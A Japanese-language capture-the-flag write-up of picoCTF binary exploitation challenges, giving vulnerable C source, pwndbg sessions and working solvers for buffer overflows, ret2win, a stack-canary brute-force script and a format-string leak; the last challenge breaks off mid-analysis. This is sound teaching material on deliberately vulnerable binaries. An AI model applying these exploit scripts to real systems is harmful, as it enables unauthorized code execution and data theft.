PicoCTF-Pwn

basic-file-exploit
問題
Description
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc {host} {port}
The program's source code with the flag redacted can be downloaded here.
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
解き方
- data_writeを呼び出す
- data_readを呼び出す
- entry_numberに0を入力する
感想
非常にシンプル。

buffer overflow 0
問題
Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:
nc {host] {port}
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
解き方
ソースコードを見ると、signal関数でセグメンテーション違反があった際にsigsegv_handlerが呼ばれるようだ。処理の流れはざっくり以下のようになっている。
- main関数内のgetsでbuf1に入力を受け取る
- vuln関数の引数としてbuf1を渡す
- vuln関数内のstrcpyでbuf1をbuf2にコピーする
manコマンドでgets関数とstrycpy関数を調べてみるとそれぞれ以下のようなことがわかる。
gets関数
バグ
gets() は絶対に使用してはならない。 前もってデータを知ることなしに gets() が何文字読むかを知ることはできず、 gets() がバッファーの終わりを越え
て書き込み続けるため、 gets() を使うのは極めて危険である。 これを利用してコンピュータのセキュリティが破られてきた。 代わりに fgets() を使うこ
と。
strcpy関数
strcpy() 関数は src が指す文字列を末尾のヌルバイト ('\0') も含めて dest が指すバッファーにコピーする。 二つの文字列は重なってはならない。受け側の
文字列 dest は コピーを受け取るのに十分な大きさでなければならない。 バッファーオーバーランに気を付けること! (「バグ」の節を参照)
上記より大量の文字列を入力すればセグメンテーションフォルトが発生し、sigsegv_handler関数が呼ばれ、フラグを獲得できる。
感想
最初に習うbof問という感じでした。

buffer overflow 1
問題
Control the return address
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
バイナリ情報
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
解法
今回はBoFを使ってリターンアドレスを書き換えます。
vuln関数からgets関数を使用して入力値を受け取っているので、eipを保持しているアドレスを上書きすればよさそう。
$ gdb-pwndbg vuln
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kali/workspace/picoCTF2/pwn/BoF1/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x41
EBX 0x6161616a ('jaaa')
ECX 0x0
EDX 0xf7fc41c0 ◂— 0xf7fc41c0
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
ESI 0xffffd034 —▸ 0xffffd219 ◂— '/home/kali/workspace/picoCTF2/pwn/BoF1/vuln'
EBP 0x6161616b ('kaaa')
ESP 0xffffcf50 ◂— 0xff00616d /* 'ma' */
EIP 0x6161616c ('laaa')
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x6161616c
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcf50 ◂— 0xff00616d /* 'ma' */
01:0004│ 0xffffcf54 —▸ 0xf7fc3358 —▸ 0xf7ffdb40 —▸ 0xf7fc3470 —▸ 0xf7ffd9e0 ◂— ...
02:0008│ 0xffffcf58 —▸ 0xf7fc37f0 —▸ 0xf7c1abb0 ◂— 'GLIBC_PRIVATE'
03:000c│ 0xffffcf5c ◂— 0x3e8
04:0010│ 0xffffcf60 —▸ 0xffffcf80 ◂— 0x1
05:0014│ 0xffffcf64 —▸ 0xf7e1eff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21ed8c
06:0018│ 0xffffcf68 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffd9e0 ◂— 0x0
07:001c│ 0xffffcf6c —▸ 0xf7c213b5 (__libc_start_call_main+117) ◂— add esp, 0x10
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 0x6161616c
f 1 0xff00616d
f 2 0xf7fc3358
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l laaa
44
次にwin関数のアドレスを調べる。
pieが無効なのでセットされているアドレスを見るだけ。
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049040 printf@plt
0x08049050 gets@plt
0x08049060 fgets@plt
0x08049070 getegid@plt
0x08049080 puts@plt
0x08049090 exit@plt
0x080490a0 __libc_start_main@plt
0x080490b0 setvbuf@plt
0x080490c0 fopen@plt
0x080490d0 setresgid@plt
0x080490e0 _start
0x08049120 _dl_relocate_static_pie
0x08049130 __x86.get_pc_thunk.bx
0x08049140 deregister_tm_clones
0x08049180 register_tm_clones
0x080491c0 __do_global_dtors_aux
0x080491f0 frame_dummy
0x080491f6 win
0x08049281 vuln
0x080492c4 main
0x0804933e get_return_address
0x08049350 __libc_csu_init
0x080493c0 __libc_csu_fini
0x080493c5 __x86.get_pc_thunk.bp
0x080493cc _fini
以上を踏まえてペイロードを作成します。
$ python2 -c 'print "A"*44+"\xf6\x91\x04\x08"' >payload
$ nc {host} {port} <payload
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_ad2f467b}
感想
教本に出てきそうなret2winの問題でした。

RPS
問題
Description
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}
解法
じゃんけんで5回連続で勝利したらフラグがもらえる。
ソースコードをよくみていくと、以下の部分でじゃんけンの勝敗を決めているようだ。
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
computer_turnはint computer_turn = rand() % 3の結果を格納しており、配列losesとhandsは以下のようになっているため、
ランダムにやれば勝つ可能性があるが、5回連続は難しい。
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
strstrの内容を確認する。
書式
#include <string.h>
char *strstr(const char *haystack, const char *needle);
説明
strstr() 関数は、部分文字列 needle が文字列 haystack 中 で最初に現れる位置を見つける。 文字列を終端
ヌルバイト ('\0') は比較されない。
strcasestr() 関数は strstr() 関数と同様だが、 両方の引数に対して大文字小文字を無視する。
返り値
これらの関数は、見つかった部分文字列の開始を指すポインターを返し、 もし部分文字列が見つからない場合は
NULL を返す。
上記よりplayer_turnの内容のいずれかにloses[computer_turn]が含まれていればよさそう。
以上より解法は、rockpaperscissorsを入力するだけ。
Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}
感想
小学時代を思い出しました

x-sixty-what
問題
Reminder: local exploits may not always work the same way remotely due to differences between machines.
Description
Overflow x64 code
ソースコード
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
解法
前問の64bit版。
ほぼ同じやり方で解けるが素直にペイロード書くとリモートでは刺さらない。
調べてみるとスタックアラインメントの関係でペイロードが刺さらないケースがあるみたい。
上記記事を参考に、flag関数にジャンプする前にretを入れると上手く動作した。
以下ソルバー。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
io = start()
offset = 72
ret= 0x000000000040101a
payload =flat(
asm("nop")*72,
ret,
elf.functions.flag
)
io.recvuntil("flag: \n")
io.sendline(payload)
io.interactive()
感想
スタックアラインメントについては知らなかったので非常に勉強になりました。
対象が64bitバイナリの時は気を付けよう…

buffer overflow 2
問題
Description
Control the return address and arguments
This time you'll need to control the arguments to the function you return to!
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
バイナリ関連情報
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1c57f0cbd109ed51024baf11930a5364186c28df, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
解法
buffer over flow1とほぼ同じだが今回は引数を設定する必要がある。
win関数のディスアセンブルしてみると、スタックから引数を取っているため、padding+retaddr+arguments という形でペイロードを作ればよさそう。
いつも通りcyclicを使ってオフセットを調査すると112バイトということがわかった。
また、win関数のアドレスもpieが無効なためgdbで調べることができる。
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/kali/workspace/picoCTF2/pwn/bof2/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0xc9
EBX 0x62616162 ('baab')
ECX 0xf7e20994 (_IO_stdfile_1_lock) ◂— 0x0
EDX 0x1
EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
ESI 0xffffd034 —▸ 0xffffd219 ◂— '/home/kali/workspace/picoCTF2/pwn/bof2/vuln'
EBP 0x62616163 ('caab')
ESP 0xffffcf50 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
EIP 0x62616164 ('daab')
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x62616164
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcf50 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│ 0xffffcf54 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│ 0xffffcf58 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│ 0xffffcf5c ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│ 0xffffcf60 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│ 0xffffcf64 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│ 0xffffcf68 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│ 0xffffcf6c ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 0x62616164
f 1 0x62616165
f 2 0x62616166
f 3 0x62616167
f 4 0x62616168
f 5 0x62616169
f 6 0x6261616a
f 7 0x6261616b
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l daab
112
pwndbg> disassemble win
Dump of assembler code for function win:
0x08049296 <+0>: endbr32
0x0804929a <+4>: push ebp
0x0804929b <+5>: mov ebp,esp
0x0804929d <+7>: push ebx
0x0804929e <+8>: sub esp,0x54
(省略)
0x08049309 <+115>: add esp,0x10
0x0804930c <+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x08049313 <+125>: jne 0x804932f <win+153>
0x08049315 <+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d
0x0804931c <+134>: jne 0x8049332 <win+156>
0x0804931e <+136>: sub esp,0xc
0x08049321 <+139>: lea eax,[ebp-0x4c]
0x08049324 <+142>: push eax
0x08049325 <+143>: call 0x80490e0 <printf@plt>
0x0804932a <+148>: add esp,0x10
0x0804932d <+151>: jmp 0x8049333 <win+157>
0x0804932f <+153>: nop
0x08049330 <+154>: jmp 0x8049333 <win+157>
0x08049332 <+156>: nop
0x08049333 <+157>: mov ebx,DWORD PTR [ebp-0x4]
0x08049336 <+160>: leave
0x08049337 <+161>: ret
win関数は引数をebp+0x8,ebp+0xcから取っているので、それを考慮しつつペイロードを作り、それを入力すればクリア。
$ python2 -c 'print "A"*112+"\x96\x92\x04\x08"+"junk"+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"' >payload
$ nc {host} {port} <payload
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���unk
picoCTF{argum3nt5_4_d4yZ_b3fd8f66}
感想
よくこういう問題にdeadbeefとかcafefoodが使われてますけどなんで?

buffer overflow 3
問題
Description
Do you think you can bypass the protection and get the flag?
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
バイナリ関連情報
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0432d7d499a116a061e120e7d7ca80ab8c77b194, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
解き方
vuln関数を見ると、最初の入力値からで二回目の入力サイズを決めているようだ。
最初の入力でbufsizeよりも大きい値を与えることでbofを起こせる。
しかし今回は4byteのcanaryが自作されているため、これを特定する必要がある。
4byteとサイズが小さい、また固定の値を使っているため、総当たり出来そう。
一文字づつ上書きしていき、カナリアが変更された時のメッセージが出ない時の値を確認すればよい。
以下は総当たり用のスクリプト。
from pwn import *
import string
elf = context.binary=ELF("./vuln")
context.log_level ="debug"
canary =b""
canary_offset = 64
counter =0
while(counter<4):
for c in string.printable:
io = elf.process()
#io =remote('{host}',{port})
payload=b"A"*canary_offset+canary
payload +=c.encode()
io.sendlineafter(b">",str(len(payload)))
io.sendlineafter(b">",payload)
result = io.recvall()
info("%s",result)
if b"Ok... Now Where's the Flag?" in result:
canary +=c.encode()
counter = len(canary)
print(canary)
io.close()
break
これを実行すると
(省略)
[DEBUG] Sent 0x45 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\n'
[+] Receiving all data: Done (100B)
[DEBUG] Received 0x63 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\r\n'
b"Ok... Now Where's the Flag?\r\n"
[*] Closed connection to saturn.picoctf.net port 50122
[*] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd
Ok... Now Where's the Flag?
b'BiRd'
canaryはBiRdであるということがわかった。
あとは前問と同様にオフセットとwin関数のアドレスを調べてソルバーを書くだけ。
from pwn import *
import string
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
payload = flat(
asm("nop")*64,
b"BiRd",
b"b"*16,
0x08049336
)
write("payload",payload)
io.recvuntil(b">")
io.sendline(str(len(payload)))
io.recvuntil(b">")
io.sendline(payload)
io.interactive()
フラグが取れる。
(省略)
[DEBUG] Received 0x48 bytes:
b"Ok... Now Where's the Flag?\r\n"
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_09d4425a}\r\n'
感想
canaryを総当たりする問題は初めて解いたので勉強になりました。

flag leak
問題
Description
Story telling class 1/2
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
解法
vuln関数では入力した値をそのままprintf関数に渡している。
そのため%p などの書式文字列を入力した場合、スタック内のデータが出力されてしまう。
ローカル環境でgdb等を使い処理を確認すると、vuln関数ではprintfを呼ぶ前にreadflag関数を呼び出し、その値をスタックに保持していることを確認できる。
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x8049355 <vuln+34> call readflag <readflag>
► 0x804935a <vuln+39> add esp, 0x10
0x804935d <vuln+42> sub esp, 0xc
0x8049360 <vuln+45> lea eax, [ebx - 0x1f9c]
0x8049366 <vuln+51> push eax
0x8049367 <vuln+52> call printf@plt <printf@plt>
0x804936c <vuln+57> add esp, 0x10
0x804936f <vuln+60> sub esp, 8
0x8049372 <vuln+63> lea eax, [ebp - 0xc8]
0x8049378 <vuln+69> push eax
0x8049379 <vuln+70> lea eax, [ebx - 0x1f6d]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffce60 —▸ 0xffffcef0 ◂— 'flag{win!}\n'
01:0004│ 0xffffce64 ◂— 0x40 /* '@' */
02:0008│ 0xffffce68 —▸ 0xf7c122d0 ◂— 0x74656e00
